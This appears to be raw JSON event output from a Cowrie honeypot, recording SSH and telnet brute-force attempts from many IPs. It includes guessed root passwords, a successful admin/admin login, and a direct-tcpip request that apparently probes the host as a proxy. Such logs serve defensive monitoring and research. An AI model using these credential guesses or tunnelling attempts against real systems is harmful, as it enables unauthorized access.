{"eventid":"cowrie.login.failed","username":"root","password":"kingpro@123456","message":"login attempt [root/kingpro@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:39:24.591201Z","src_ip":"27.71.230.31","session":"f148e7e38d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:39:25.992276Z","src_ip":"27.71.230.31","session":"f148e7e38d93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48558,"dst_ip":"159.203.135.109","dst_port":23,"session":"db7a491be36b","protocol":"telnet","message":"New connection: 172.81.62.90:48558 (159.203.135.109:23) [session: db7a491be36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:39:30.150771Z"}
{"eventid":"cowrie.session.closed","duration":38.99605870246887,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:39:31.183393Z","src_ip":"172.81.62.90","session":"473d897e2006","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":51982,"dst_ip":"10.17.0.5","dst_port":22,"session":"60b11d501840","protocol":"ssh","message":"New connection: 103.122.221.179:51982 (10.17.0.5:22) [session: 60b11d501840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:39:47.050759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:39:47.054366Z","src_ip":"103.122.221.179","session":"60b11d501840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:39:47.313666Z","src_ip":"103.122.221.179","session":"60b11d501840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"candice","message":"login attempt [root/candice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:39:48.094051Z","src_ip":"103.122.221.179","session":"60b11d501840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:39:49.355999Z","src_ip":"103.122.221.179","session":"60b11d501840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.134.85.246","src_port":42462,"dst_ip":"159.203.135.109","dst_port":23,"session":"5db09ed97522","protocol":"telnet","message":"New connection: 8.134.85.246:42462 (159.203.135.109:23) [session: 5db09ed97522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:40:00.642647Z"}
{"eventid":"cowrie.session.closed","duration":40.5181782245636,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:40:10.668807Z","src_ip":"172.81.62.90","session":"db7a491be36b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49991226196289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:40:31.142414Z","src_ip":"8.134.85.246","session":"5db09ed97522","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":46048,"dst_ip":"10.17.0.5","dst_port":23,"session":"a38cae4bfec8","protocol":"telnet","message":"New connection: 94.23.66.112:46048 (10.17.0.5:23) [session: a38cae4bfec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:40:37.407662Z"}
{"eventid":"cowrie.session.closed","duration":0.8951923847198486,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:40:38.302728Z","src_ip":"94.23.66.112","session":"a38cae4bfec8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33394,"dst_ip":"159.203.135.109","dst_port":22,"session":"0aaaf00c66b2","protocol":"ssh","message":"New connection: 27.71.230.31:33394 (159.203.135.109:22) [session: 0aaaf00c66b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:40:45.484604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:40:45.489123Z","src_ip":"27.71.230.31","session":"0aaaf00c66b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":52188,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdef18fc1fc5","protocol":"ssh","message":"New connection: 147.45.199.80:52188 (10.17.0.5:22) [session: bdef18fc1fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:40:51.687443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:40:51.695105Z","src_ip":"147.45.199.80","session":"bdef18fc1fc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:40:51.790091Z","src_ip":"147.45.199.80","session":"bdef18fc1fc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120580","message":"login attempt [root/120580] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:40:52.073748Z","src_ip":"147.45.199.80","session":"bdef18fc1fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:40:53.170043Z","src_ip":"147.45.199.80","session":"bdef18fc1fc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51936,"dst_ip":"159.203.135.109","dst_port":23,"session":"090dd3e1bd4c","protocol":"telnet","message":"New connection: 172.81.62.90:51936 (159.203.135.109:23) [session: 090dd3e1bd4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:41:13.503535Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.18.127","src_port":48642,"dst_ip":"159.203.135.109","dst_port":23,"session":"5577879ac116","protocol":"telnet","message":"New connection: 23.249.18.127:48642 (159.203.135.109:23) [session: 5577879ac116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:41:22.622280Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.188.210","src_port":34676,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0222517b0fb","protocol":"telnet","message":"New connection: 8.219.188.210:34676 (10.17.0.5:23) [session: c0222517b0fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:41:27.641112Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48752,"dst_ip":"159.203.135.109","dst_port":23,"session":"845d4c674ddd","protocol":"telnet","message":"New connection: 172.81.62.90:48752 (159.203.135.109:23) [session: 845d4c674ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:41:33.508090Z"}
{"eventid":"cowrie.session.closed","duration":36.775304079055786,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:41:50.278736Z","src_ip":"172.81.62.90","session":"090dd3e1bd4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61399006843567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:41:53.236208Z","src_ip":"23.249.18.127","session":"5577879ac116","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51022958755493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:41:58.151206Z","src_ip":"8.219.188.210","session":"c0222517b0fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":60022,"dst_ip":"10.17.0.5","dst_port":22,"session":"7deca45d5991","protocol":"ssh","message":"New connection: 103.176.20.57:60022 (10.17.0.5:22) [session: 7deca45d5991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:01.727735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:01.732688Z","src_ip":"103.176.20.57","session":"7deca45d5991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:01.992983Z","src_ip":"103.176.20.57","session":"7deca45d5991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3452","message":"login attempt [root/3452] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:02.770634Z","src_ip":"103.176.20.57","session":"7deca45d5991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:04.040239Z","src_ip":"103.176.20.57","session":"7deca45d5991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:04.078466Z","src_ip":"27.71.230.31","session":"0aaaf00c66b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kingpro@123456","message":"login attempt [root/kingpro@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:04.796054Z","src_ip":"27.71.230.31","session":"0aaaf00c66b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"80.5","message":"Connection lost after 80.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:06.037041Z","src_ip":"27.71.230.31","session":"0aaaf00c66b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.26375365257263,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:19.771734Z","src_ip":"172.81.62.90","session":"845d4c674ddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":23128,"dst_ip":"10.17.0.5","dst_port":22,"session":"f34980d6223f","protocol":"ssh","message":"New connection: 87.251.64.176:23128 (10.17.0.5:22) [session: f34980d6223f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:31.135767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:31.139733Z","src_ip":"87.251.64.176","session":"f34980d6223f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:31.239888Z","src_ip":"87.251.64.176","session":"f34980d6223f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:31.522320Z","src_ip":"87.251.64.176","session":"f34980d6223f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:31.618774Z","session":"f34980d6223f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:31.713511Z","src_ip":"87.251.64.176","session":"f34980d6223f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:31.810387Z","src_ip":"87.251.64.176","session":"f34980d6223f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35820,"dst_ip":"159.203.135.109","dst_port":23,"session":"78efce2ce3ec","protocol":"telnet","message":"New connection: 128.199.8.54:35820 (159.203.135.109:23) [session: 78efce2ce3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:42:49.370538Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42688,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e7ed2552c45","protocol":"telnet","message":"New connection: 128.199.8.54:42688 (159.203.135.109:23) [session: 5e7ed2552c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:43:00.152694Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52530,"dst_ip":"159.203.135.109","dst_port":23,"session":"6073dc1adb7d","protocol":"telnet","message":"New connection: 172.81.62.90:52530 (159.203.135.109:23) [session: 6073dc1adb7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:43:24.320450Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":49618,"dst_ip":"10.17.0.5","dst_port":23,"session":"f11b907bf08b","protocol":"telnet","message":"New connection: 94.23.66.112:49618 (10.17.0.5:23) [session: f11b907bf08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:43:30.255942Z"}
{"eventid":"cowrie.session.closed","duration":46.95499539375305,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:43:36.325398Z","src_ip":"128.199.8.54","session":"78efce2ce3ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.368345975875854,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:43:42.520882Z","src_ip":"128.199.8.54","session":"5e7ed2552c45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43320,"dst_ip":"159.203.135.109","dst_port":23,"session":"e296dd5c5b97","protocol":"telnet","message":"New connection: 128.199.8.54:43320 (159.203.135.109:23) [session: e296dd5c5b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:43:42.764362Z"}
{"eventid":"cowrie.session.closed","duration":0.004366397857666016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:43:42.768605Z","src_ip":"128.199.8.54","session":"e296dd5c5b97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":60690,"dst_ip":"159.203.135.109","dst_port":23,"session":"230bd2a0cf36","protocol":"telnet","message":"New connection: 103.249.87.183:60690 (159.203.135.109:23) [session: 230bd2a0cf36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:05.235142Z"}
{"eventid":"cowrie.session.closed","duration":43.1598060131073,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:07.480125Z","src_ip":"172.81.62.90","session":"6073dc1adb7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.62399888038635,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:28.879785Z","src_ip":"94.23.66.112","session":"f11b907bf08b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":42428,"dst_ip":"10.17.0.5","dst_port":22,"session":"37563a48fd6e","protocol":"ssh","message":"New connection: 87.251.79.125:42428 (10.17.0.5:22) [session: 37563a48fd6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:44:30.668694Z"}
